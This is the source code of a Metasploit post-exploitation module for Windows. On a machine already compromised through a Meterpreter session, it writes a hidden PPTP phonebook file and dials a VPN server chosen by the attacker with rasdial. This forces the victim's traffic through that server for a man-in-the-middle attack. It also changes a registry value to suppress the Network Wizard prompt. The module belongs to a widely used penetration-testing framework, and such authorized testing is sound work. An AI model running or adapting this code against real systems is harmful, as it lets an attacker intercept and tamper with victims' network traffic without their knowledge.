1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Windows::Priv
9
  include Msf::Post::Windows::Registry
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Windows Manage Remote Point-to-Point Tunneling Protocol',
16
        'Description' => %q{
17
          This module initiates a PPTP connection to a remote machine (VPN server). Once
18
          the tunnel is created we can use it to force the victim traffic to go through the
19
          server getting a man in the middle attack. Be sure to allow forwarding and
20
          masquerading on the VPN server (mitm).
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
24
        'References' => [
25
          [ 'URL', 'https://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ],
26
          [ 'ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES ]
27
        ],
28
        'Platform' => 'win',
29
        'SessionTypes' => [ 'meterpreter' ],
30
        'Notes' => {
31
          'Stability' => [CRASH_SAFE],
32
          'SideEffects' => [CONFIG_CHANGES],
33
          'Reliability' => []
34
        }
35
      )
36
    )
37

38
    register_options(
39
      [
40
        OptString.new('USERNAME', [true, 'VPN Username.' ]),
41
        OptString.new('PASSWORD', [true, 'VPN Password.' ]),
42
        OptBool.new('MITM', [true, 'Man in the middle.', true]),
43
        OptInt.new('TIMEOUT', [true, 'Timeout for the tunnel creation.', 60]),
44
        OptString.new('PBK_NAME', [true, 'PhoneBook entry name.', 'MSF']),
45
        OptAddress.new('VPNHOST', [true, 'VPN server.'])
46
      ]
47
    )
48
  end
49

50
  def run
51
    version = get_version_info
52
    disable_network_wizard if version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win7_SP1)
53

54
    pbk = create_pbk(datastore['MITM'], datastore['PBK_NAME'])
55
    to = (datastore['TIMEOUT'] <= 0) ? 60 : datastore['TIMEOUT']
56
    begin
57
      ::Timeout.timeout(to) do
58
        run_rasdial(pbk, datastore['USERNAME'], datastore['PASSWORD'], datastore['VPNHOST'], datastore['PBK_NAME'])
59
      end
60
    rescue ::Timeout::Error
61
      print_error("Timeout after #{to} seconds")
62
    end
63
    file_rm(pbk)
64
    print_status('Phonebook deleted')
65
  end
66

67
  def disable_network_wizard
68
    if !is_admin?
69
      print_error("You don't have enough privileges to change the registry. Network Wizard will not be disabled")
70
      return
71
    end
72

73
    key = 'HKLM\\System\\CurrentControlSet\\Control\\Network'
74
    value = 'NewNetworkWindowOff'
75
    begin
76
      if !registry_getvaldata(key, value)
77
        registry_setvaldata(key, value, 3, 'REG_BINARY')
78
        print_good('Network Wizard disabled')
79
      end
80
    rescue StandardError => e
81
      print_status("The following error was encountered: #{e.class} #{e}")
82
    end
83
  end
84

85
  def create_pbk(mim, pbk_name)
86
    pbk_dir = expand_path('%TEMP%')
87
    pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha(6..13) << '.pbk'
88

89
    conf_conn = "[#{pbk_name}]\r\n\r\n"
90
    conf_conn += "MEDIA=rastapi\r\n"
91
    conf_conn += "Port=VPN4-0\r\n"
92
    conf_conn += "DEVICE=vpn\r\n"
93
    conf_conn += "IpPrioritizeRemote=0\r\n" unless mim
94

95
    if write_file(pbk_file, conf_conn)
96
      print_good("PhoneBook configuration written to #{pbk_file}")
97
      return pbk_file
98
    end
99
  end
100

101
  def run_rasdial(pbk, user, pass, vpn_host, pbk_name)
102
    print_status('Establishing connection ...')
103
    cmd_exec('rasdial', '/disconnect')
104
    output_run = cmd_exec('rasdial', "#{pbk_name} #{user} #{pass} /PHONE:#{vpn_host} /PHONEBOOK:#{pbk}")
105
    output_view = cmd_exec('rasdial', nil)
106

107
    if output_view =~ /#{pbk_name}/i
108
      print_good('Connection Successful')
109
    else
110
      print_error("Connection failure: #{output_run}")
111
    end
112
  end
113
end
114

115